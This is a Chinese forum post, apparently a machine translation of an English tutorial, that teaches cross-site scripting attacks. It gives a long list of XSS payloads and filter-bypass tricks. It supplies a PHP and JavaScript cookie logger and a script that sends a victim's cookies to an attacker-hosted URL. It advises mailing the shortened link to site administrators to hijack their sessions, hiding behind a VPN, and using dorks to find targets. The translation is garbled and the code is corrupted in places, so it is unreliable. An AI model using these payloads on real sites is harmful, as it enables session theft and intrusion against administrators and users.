灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:7895回复:0

XSS入门教程文档

楼主#
更多 发布于:2014-12-21 16:00

什么是XSS ?

跨站点脚本XSS代表。它基本上是一个攻击,那是用来执行HTML和javaScript的web页面。这种攻击可以通过提交查询到文本框,甚至到URL 。结果回来阅读的文本为HTML ,所以它执行的脚本,而不是显示在纯文本。 XSS攻击,你可以从一个网络管理员窃取cookie ,甚至使用一些社会工程学来操纵别人下载你已经创建了一个病毒。如僵尸网络或大鼠,也许甚至是按键记录器的XSS攻击可以是非常危险的,但也可以是非常温和的。我的大部分攻击是温和的XSS攻击,即可以对网站很难使用。有很多方法可以使用XSS来你的优势。我将仅举几例。您可以使用一个警告框来宣传自己,或提醒网络管理员,你已经发现了一个安全漏洞,涉及XSS 。您还可以设置一个Cookie-Stealer/Logger 。什么,你可以用HTML ,可以用来对付这种攻击的网站。我将解释一些与XSS相关的最重要的方面。

什么是HTML和JavaScript ?

HTML

HTML是一种编程语言,有点像。一种编程语言和HTML之间的区别是不太远。它们是两种语言,用于创建属性和事件。 HTML是一种标记语言,它主要用来创建网站。 HTML是超文本标记语言。您可以使用HTML来创建窗体,按钮,和其他的东西,可以用来在网页中。我很怀疑你永远不会遇到不包含一个网站,甚至有少量的HTML 。

JAVASCRIPT

现在,首先,让我们弄清楚一件事。 Java和JavaScript之间存在着巨大的差异。 Java中,是一种语言,重新组合的C + + ,它可以在游戏中使用,应用程序。 JavaScript是那种类似HTML,但肯定在许多方面不同。 JavaScript没有使用比HTML是网页中的几乎一样多。使用JavaScript ,更多的应用程序以外的网页。 PDF文件一样。随着HTML , JavaScript可以是一个令人难以置信的有用的语言。他们都是相当简单的学习,是非常动态的。

XSS :我的第一次进攻。

现在,让我们开始进入真正的好东西。在本节中,我将解释如何使用XSS来你的优势。我们也将推出我们的第一个攻击XSS ,如果你知道的基本知识, XSS攻击,你可以跳过这一节,因为我怀疑你会学到什么东西,你不知道简要。

现在,我们的第一步,显然是要找到一个易受攻击的网站。寻找一个网站容易受到XSS容易SQLI比找到一个网站是一个容易得多。问题是,它可能需要一段时间来判断网站是否真的是脆弱的。 SQLI ,你可以只添加一点点' 。但XSS ,你必须提交多个查询(有时) ,测试你的网站的XSS 。

最脆弱的网站将包含一个搜索,登录或注册。几乎任何地方,包含一个文本框,可以利用XSS 。然而,很多人忘记了这个事实,从来没有用它来充分发挥其潜力,是因为他们认为它是无用的。您可以利用XSS通过源,以及,你不能只是采取任何脚本,编辑完整的东西。但编辑“ 事件”的剧本,是绝对是个例外。我会解释的XSS这种方法以后,现在,我们需要完整的基础。

不管怎么说,我们的网站应该有一些文本框输入一些HTML进来,我将简单地使用一个搜索栏。

所以,让我们尝试把所有的时间最知名的,基本的查询。

<script>alert("XSS")</script>

那个小脚本,HTML。它将使弹出一个小的消息,说:“XSS”。您可以编辑的那部分,如果你喜欢。只要不修改任何其他部分的脚本。

它放入你的搜索栏,然后按Enter。现在,如果一个小弹出警告框,你已经成功地袭击了一个网站容易受到XSS!

如果没有框弹出,这是正常的,因为这意味着该网站已经采取了一些时间,把过滤器。

过滤器,当我们搜索的东西,那么它通过一个微型的过程,基本上检查。它会检查任何恶意(危险)的东西。

在这种情况下,它会寻找XSS。有时,这些过滤器是非常薄弱的,可以很容易通过,其他时间,他们可以是相当难以绕过。

现在有很多的方法来绕过XSS过滤器。首先,我们必须找出什么样的过滤器阻塞。很多的时候,它挡住了警报。

这种过滤器下面是一个例子:

<script>alert("XSS")</script>

< script>alert( > XSS DETECTED < )</script>

这将阻止报警。那么,到底如何,我们获得通过呢?

嗯,幸好有一个完整的邮件进行加密的方法。

我们将使用一个小功能称为“”。

它的名字几乎可以解释这一切。加密我们的文字,转换成ASCII。

这种加密的一个例子,是这样的:

(88,83,83)

是的,它可以是一个有点混乱,但一点点的解释和测试,是很简单的。

下面是我们完整的查询将是什么样子:

<script>alert((88,83,83))</script>

你不需要任何这样的简单查询报价。因此,让我们在搜索栏中放回来,瞧!它的工作!我们得到了一个警告框,说“XSS”!如果你仍然没有得到任何警告框,尝试一些我喜欢使用这些查询:

[code ]"&gt;&lt;script&gt;alert("XSS")&lt;/script&gt;

 

"&gt;&lt;script&gt;alert((88,83,83))&lt;/script&gt;

 

‘&gt;&lt;script&gt;alert("XSS")&lt;/script&gt;

 

‘&gt;&lt;script&gt;alert((88,83,83))&lt;/script&gt;

 

&lt;ScRIPt&gt;aLeRT("XSS")&lt;/ScRIPt&gt;

 

&lt;ScRIPt&lt;aLeRT((88,83,83))&lt;/ScRIPt&gt;

 

"&gt;&lt;ScRIPt&gt;aLeRT("XSS")&lt;/ScRIPt&gt;

 

"&gt;&lt;ScRIPt&lt;aLeRT((88,83,83))&lt;/ScRIPt&gt;

 

‘&gt;&lt;ScRIPt&gt;aLeRT("XSS")&lt;/ScRIPt&gt;

 

‘&gt;&lt;ScRIPt&lt;aLeRT((88,83,83))&lt;/ScRIPt&gt;

 

&lt;/script&gt;&lt;script&gt;alert("XSS")&lt;/script&gt;

 

&lt;/script&gt;&lt;script&gt;alert((88,83,83))&lt;/script&gt;

 

"/&gt;&lt;script&gt;alert("XSS")&lt;/script&gt;

 

"/&gt;&lt;script&gt;alert((88,83,83))&lt;/script&gt;

 

‘/&gt;&lt;script&gt;alert("XSS")&lt;/script&gt;

 

‘/&gt;&lt;script&gt;alert((88,83,83))&lt;/script&gt;

 

&lt;/SCRIPT&gt;"&gt;&lt;SCRIPT&gt;alert("XSS")&lt;/SCRIPT&gt;

 

&lt;/SCRIPT&gt;"&gt;&lt;SCRIPT&gt;alert((88,83,83))

 

&lt;/SCRIPT&gt;"&gt;"&gt;&lt;SCRIPT&gt;alert("XSS")&lt;/SCRIPT&gt;

 

&lt;/SCRIPT&gt;"&gt;’&gt;&lt;SCRIPT&gt;alert((88,83,83))&lt;/SCRIPT&gt;

 

";alert("XSS");"

 

";alert((88,83,83));"

 

‘;alert("XSS");’

 

‘;alert((88,83,83));’

 

";alert("XSS")

 

";alert((88,83,83))

 

‘;alert("XSS")

 

‘;alert((88,83,83))[/code]

是的,我只是写了所有这些,它需要较长的时间比它应该,但他们都以自己的方式工作,所以因为他们中的许多,你可以试试。我攻击一些这些查询一些相当巨大的网站。创建我自己的查询有时,你应该创建一些,他们也可以派上用场了很多。

XSS:先进的方法

现在,在本节中,我将分享一些方法来对网站的恶意使用XSS。现在,请记住所有的恶意攻击发送过来的系统,网站或服务器,是非法的,这些行动可以被起诉。所以如果你打算做一些恶意的网站始终使用保护。如果你想做出一点警告框弹出,你不应该需要一个代理/ VPN。

cookie窃取/记录

现在,饼干偷窃是最恶意的事情,我们可以用非持久性XSS。一个cookie窃取/记录仪,会记录用户访问某个文件的页面的饼干。做到这一点,最简单的方式将分为三个步骤。

首先,你应该设置一个站点。就个人而言,我觉得现在,一旦你创建了自己的网站,去到的文件管理器。创建一个新的文件。调用它“CookieLog.txt”。离开码坯。现在,创建另一个文件后,称为“CookieLogger.php”。在CookieLogger.php,我们需要添加一些代码,所以它发送的cookie,我们登录到我们的Cookie日志。将此代码,把它(只要确保文件名中有PHP的,否则它不会运行PHP代码(这是一个巨大的问题))。

[code ]&lt;?php/*

 

* Created on 16. april. 2007

 

* Created by Audun Larsen (audun@munio.no)

 

*

 

* Copyright 2006 Munio IT, Audun Larsen

 

*

 

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR “AS IS” AND ANY EXPRESS OR IMPLIED WARRANTIES,

 

* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS

 

* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE

 

* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES

 

* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;

 

* OR BUSINESS interRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,

 

* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,

 

* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

 

*/

 

 

if(strlen($$$$_SERVER[‘QUERY_STRING’]) &gt; 0) {

 

$$$$fp=fopen(‘./CookieLog.txt’, ‘a’);

 

fwrite($$$$fp, urldecode($$$$_SERVER[‘QUERY_STRING’])."/n");

 

fclose($$$$fp);

 

} else {

 

?&gt;

 

 

var ownUrl = ‘http://&lt;?php echo $$$$_SERVER[‘HTTP_HOST’]; ?&gt;&lt;?php echo $$$$_SERVER[‘PHP_SELF’]; ?&gt;';

 

 

// ==

 

// URLEncode and URLDecode functions

 

//

 

// Copyright Albion Research Ltd. 2002

 

// http://www.albionresearch.com/

 

//

 

// You may copy these functions providing that

 

// (a) you leave this copyright notice intact, and

 

// ( if you use these functions on a publicly accessible

 

// web site you include a credit somewhere on the web site

 

// with a link back to http://www.albionresearch.com/

 

//

 

// If you find or fix any bugs, please let us know at albionresearch.com

 

//

 

// SpecialThanks to Neelesh Thakur for being the first to

 

// report a bug in URLDecode() – now fixed 2003-02-19.

 

// And thanks to everyone else who has provided comments and suggestions.

 

// ==

 

function URLEncode(str)

 

{

 

// The Javascript escape and unescape functions do not correspond

 

// with what browsers actually do…

 

var SAFECHARS = "0123456789" + // Numeric

 

"ABCDEFGHIJKLMNOPQRSTUVWXYZ" + // Alphabetic

 

"abcdefghijklmnopqrstuvwxyz" +

 

"-_.!~*'()"; // RFC2396 Mark characters

 

var HEX = "0123456789ABCDEF";

 

 

var plaintext = str;

 

var encoded = "";

 

for (var i = 0; i &lt; plaintext.length; i++ ) {

 

var ch = plaintext.charAt(i);

 

if (ch == " ") {

 

encoded += "+"; // x-www-urlencoded, rather than %20

 

} else if (SAFECHARS.indexOf(ch) != -1) {

 

encoded += ch;

 

} else {

 

var charCode = ch.charCodeAt(0);

 

if (charCode &gt; 255) {

 

alert( "Unicode Character ‘"

 

+ ch

 

+ "’ cannot be encoded using standard URL encoding./n" +

 

"(URL encoding only supports 8-bit characters.)/n" +

 

"A space (+) will be substituted." );

 

encoded += "+";

 

} else {

 

encoded += "%";

 

encoded += HEX.charAt((charCode &gt;&gt; 4) & 0xF);

 

encoded += HEX.charAt(charCode & 0xF);

 

}

 

}

 

} // for

 

 

return encoded;

 

};

 

 

cookie = URLEncode(document.cookie);

 

html = ‘&lt;img src="’+ownUrl+’?’+cookie+’"&gt;';

 

document.write(html);

 

 

&lt; ?php

 

}

 

?&gt;[/code]

现在,我们有我们的Cookie记录器脚本,我们可以给我们最好的朋友,网络管理员发送的cookie记录器。要做到这一点,我们也许应该微小的URL 。或者,如果你能弄清楚如何恶搞URL ,也能工作。

到指定网站去。

只是在URL中。但是且慢,我们需要添加到我们的XSS漏洞的脚本。这是脚本,将开始我们的Cookie记录。

<script>document.location="http://www.自己接收XSS网站地址.com/CookieLogger.php?cookie=" + document.cookie;</script>

所以只需添加脚本的URL之后,然后微小,并将其发送到我们的网站管理员,现在可以花一些时间帮助实际点击它。有时,管理员不会点击它,所以如果时间太长,你应该放弃,并找到另一种方式来利用它。

一旦你得到的cookie ,你可以使用“ Cookie管理器”火狐插件来操纵和编辑的饼干,让你可以劫持管理员会话。我觉得Cookie管理器非常有用的应用程序的XSS ,确保下载它。

XSS筛选器绕过技术

有时候,一个简单的XSS查询就不会做的伎俩。你的查询没有工作的原因,是因为该网站有一个WAF或滤波器组到位。过滤器将阻止尽可能尽可能多XSS和SQLI查询。在这种情况下,我们正在处理,防止XSS 。

绕过XSS过滤器的方法有很多,但我只会解释几句。

六角旁路

随着封锁的字符,如> , <, / ,它是相当困难的来执行XSS查询。不用担心,总有一个解决方案,你可以改变你的角色,成六角。一个十六进制的某些字符,基本上是字符,但在不同的格式。这些应该帮助你

> = %3c

< = %3c

/ = %2f

ASCII旁路

使用一个ASCII加密,我们可以使用的字符“被封锁颇有几分,这是其中一个最常见的XSS筛选器绕过所有的时间,你将需要加密的脚本,将看起来像这样:

不工作脚本

<script>alert("XSS")</script>

工作脚本

<script>alert((88,83,83))</script>

要加密你的小脚本的一部分,去这个网站:

http://www.wocares.com/noquote.php

我使用该网站,发现它非常有用。

绕过区分大小写

这种旁路作品很少,但它总是值得一试。然而,在地方设置一些过滤器,来检测某些字符串,过滤器的字符串被封锁是区分大小写的。

所以我们需要做的,是执行一个脚本,用不同尺寸的字符。

这旁路,将看起来像这样:

<ScRiPt>aLeRt("XSS")</ScRiPt>

您还可以混合使用ASCII加密,如果你喜欢。这种旁路仅适用于真正愚蠢的过滤器,或真的旧。

一些XSS Dorks“

它通常是最好的创建/找到自己的dorks,但在本教程中,我会写一些了真正的快速分享:

[code ]inurl:search.php?

 

inurl:find.php?

 

inurl:search.html

 

inurl:find.html

 

inurl:search.aspx

 

inurl:find.aspx[/code]


喜欢0 评分0
游客

返回顶部